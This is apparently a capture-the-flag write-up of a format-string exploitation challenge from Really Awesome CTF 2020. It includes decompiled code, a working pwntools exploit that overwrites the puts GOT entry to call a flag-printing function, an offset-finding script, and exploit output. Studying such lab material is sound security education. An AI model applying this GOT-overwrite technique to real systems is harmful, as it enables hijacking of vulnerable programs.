Tags: format-string pwn 

Rating:

# Really Awesome CTF 2020

## Not Really AI

> 200
>
> Challenge instance ready at `88.198.219.20:17119`
>
> Exploit the service to get the flag.
>
> Author: Ironstone
>
> [`nra`](nra)

Tags: _pwn_ _x86_ _got_ _format-string_

## Summary

Format-string vulnerability -> control execution with a simple GOT exploit.

## Analysis

### Checksec

```
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
```

No mitigations in place.

### Decompile with Ghidra

Two functions of interest, `response` and `flaggy`:

```c
void response(void)

{
char local_20c [516];

puts("How are you finding RACTF?");
fgets(local_20c,0x200,stdin);
puts("I am glad you");
printf(local_20c);
puts("\nWe hope you keep going!");
return;
}
```

With no mitigations in place, various `printf` format-string exploits are possible, the simplest is to replace the `puts` GOT entry with `flaggy`, then instead of `puts("\nWe hope you keep going!");`, you get:

```c
void flaggy(void)

{
int iVar1;

iVar1 = __x86.get_pc_thunk.ax();
system((char *)(iVar1 + 0xdf9));
return;
}
```

`flaggy` calls `system` with an parameter of `iVar1 + 0xdf9`. To figure out what that actually is, take the address after `iVar1 = __x86.get_pc_thunk.ax();` and add `0xdf9` to it:

```
0804924c e8 9a 00 00 00 CALL __x86.get_pc_thunk.ax
08049251 05 af 2d 00 00 ADD EAX,0x2daf
```

`0x8049251` + `0xdf9` = `0x804a04a`. Then look at that address in the disassembly:

```
0804a04a 63 61 74 ds "cat flag.txt"
20 66 6c
61 67 2e
```

So, `system("cat flag.txt")`.

## Exploit

```
#!/usr/bin/python3

from pwn import *

#p = process('./nra')
p = remote('88.198.219.20',61933)
binary = ELF('./nra')

p.recvuntil('How are you finding RACTF?')
p.sendline(fmtstr_payload(4,{binary.got['puts']:binary.symbols['flaggy']}))
p.recvline()
p.recvline()
p.recvline()
_ = p.recvline().decode().strip()
print(_)
```

Using the pwntools fmtstr functions, update the GOT `puts` entry with the address of `flaggy`.

The first parameter to `fmtstr_payload` is the offset; you can find this with GDB or with a simple script like this:

```
#!/usr/bin/python3

from pwn import *

def scanit(t):
p = process('./nra')
#p = remote('pwn.hsctf.com', 5004)
p.recvuntil('How are you finding RACTF?')
p.sendline(t)
p.recvuntil('I am glad you\n')
_ = p.recvline().strip()
p.close()
return _

for i in range(1,20):
t = '%' + str(i).rjust(2,'0') + '$010p'
_ = scanit(t)
print(i,_)
if _.find(b'0x') >= 0:
s = bytes.fromhex(_[2:].decode())[::-1]
if s == t[:4].encode():
print('offset:',i)
break

# ./offset.py | grep -v ]
1 b'0x00000200'
2 b'0xf7f5a580'
3 b'0x080491d1'
4 b'0x24343025'
offset: 4
```

> You could probably just combine the two scripts to fully automate this.

Exploit output:

```
# ./exploit.py
[+] Opening connection to 88.198.219.20 on port 61933: Done
[*] '/pwd/datajerk/ractf2020/nra/nra'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
ractf{f0rmat_Str1nG_fuN}
```

Original writeup (https://github.com/datajerk/ctf-write-ups/blob/master/ractf2020/nra/README.md).